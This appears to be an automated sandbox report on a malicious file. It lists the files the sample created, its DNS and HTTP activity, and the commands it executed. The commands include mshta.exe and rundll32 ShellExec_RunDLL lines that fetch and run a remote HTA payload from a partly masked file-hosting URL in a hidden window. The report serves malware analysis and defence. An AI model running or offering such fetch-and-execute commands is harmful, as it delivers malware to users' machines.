Technical Information
Malicious functions
Executes the following (exploit)
- '%CommonProgramFiles%\Microsoft Shared\DW\DW20.EXE' -x -s 1480
Modifies file system
Creates the following files
- %HOMEPATH%\application data\microsoft\forms\excel.box
- %TEMP%\1185763.cvr
Network activity
Connects to
- 'me###fire.com':443
- 'oc##.#tartssl.com':80
- 'oc##.thawte.com':80
TCP
HTTP GET requests
- http://oc##.#tartssl.com/sub/class2/code/ca/MEMwQTA%2FMD0wOzAJBgUrDgMCGgUABBQSOgrhRCSnWfKxoWTjWxhk8hga9AQU0E4PQJlsuEsZbzsouODjiAc0qrcCAhAV
- http://oc##.thawte.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQwF4prw9S7mCbCEHD%2Fyl6nWPkczAQUe1tFz6%2FOy3r9MZIaarbzRutXSFACEEeXTXhzpbyrDS%2BzcBkvzl4%3D
Other
- 'me###fire.com':443
UDP
- DNS ASK me###fire.com
- DNS ASK st####.rapidssl.com
- DNS ASK oc##.#tartssl.com
- DNS ASK oc##.thawte.com
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\mshta.exe' "https://www.me###fire.com/file/au4vgvrfmmfj7ka/23.htm/file"' (with hidden window)
Executes the following
- '<SYSTEM32>\rundll32.exe' SHELL32.DLL,ShellExec_RunDLL "mshta" "https://www.me###fire.com/file/au4vgvrfmmfj7ka/23.htm/file"
- '<SYSTEM32>\mshta.exe' "https://www.me###fire.com/file/au4vgvrfmmfj7ka/23.htm/file"
